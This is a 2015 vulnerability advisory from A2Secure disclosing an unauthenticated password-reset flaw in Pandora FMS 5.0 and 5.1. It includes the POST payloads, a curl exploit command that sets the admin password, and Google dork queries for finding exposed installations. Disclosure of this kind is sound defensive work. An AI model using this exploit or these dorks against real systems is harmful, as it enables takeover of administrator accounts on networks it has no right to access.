Authentication Bypass in Pandora FMS

[Manuel Mancera <mmancera () a2secure com>]

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Authentication Bypass in Pandora FMS
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Information
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Name: Pandora FMS - Authentication Bypass
Affected Software : Pandora FMS
Affected Versions: 5.0, 5.1
Vendor Homepage : http://pandorafms.com/
Vulnerability Type : Authentication Bypass
Severity : High


Product
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Pandora FMS (for Pandora Flexible Monitoring System) is a network monitoring software.


Description
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A vulnerability has been discovered in Pandora FMS that permits an unautheticated user to change the password for any 
Pandora user without knowing the actual user password. The vulnerability occurs at the login screen due to the session 
not being checked before the password is changed.


Technical Details
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Proof of Concept URL:

URL: /index.php
Method: POST
Payload: renew_password=1&login=admin
Payload2:
renew_password=1&login=admin&password_new=newpass&password_confirm=newpass


Google dork
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intitle:"Pandora FMS - The Flexible Monitoring System"
intitle:"Pandora FMS - el Sistema Flexible de Monitorización"


Exploit
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curl -d
"renew_password=1&login=admin&password_new=newpass&password_confirm=newpass"
http://localhost/index.php


Advisory Timeline
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13/05/2015 - Discovered and vendor notified
13/05/2015 - Vendor responded
28/05/2015 - Vendor patched the vulnerability 
10/06/2015 - Vulnerability published


Solution
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Apply the latest patches available at the vendor website.


Credits & Authors
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Manuel Mancera (sinkmanu) mmancera () a2secure com <mailto:mmancera () a2secure com>
Artëm Tsvetkov                    atsvetkov () a2secure com <mailto:atsvetkov () a2secure com>

www.a2secure.com


Disclaimer
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All information is provided without warranty. The intent is to provide
information to secure infrastructure and/or systems, not to be able to
attack or damage. Therefore A2Secure shall not be liable for any direct
or indirect damages that might be caused by using this information.




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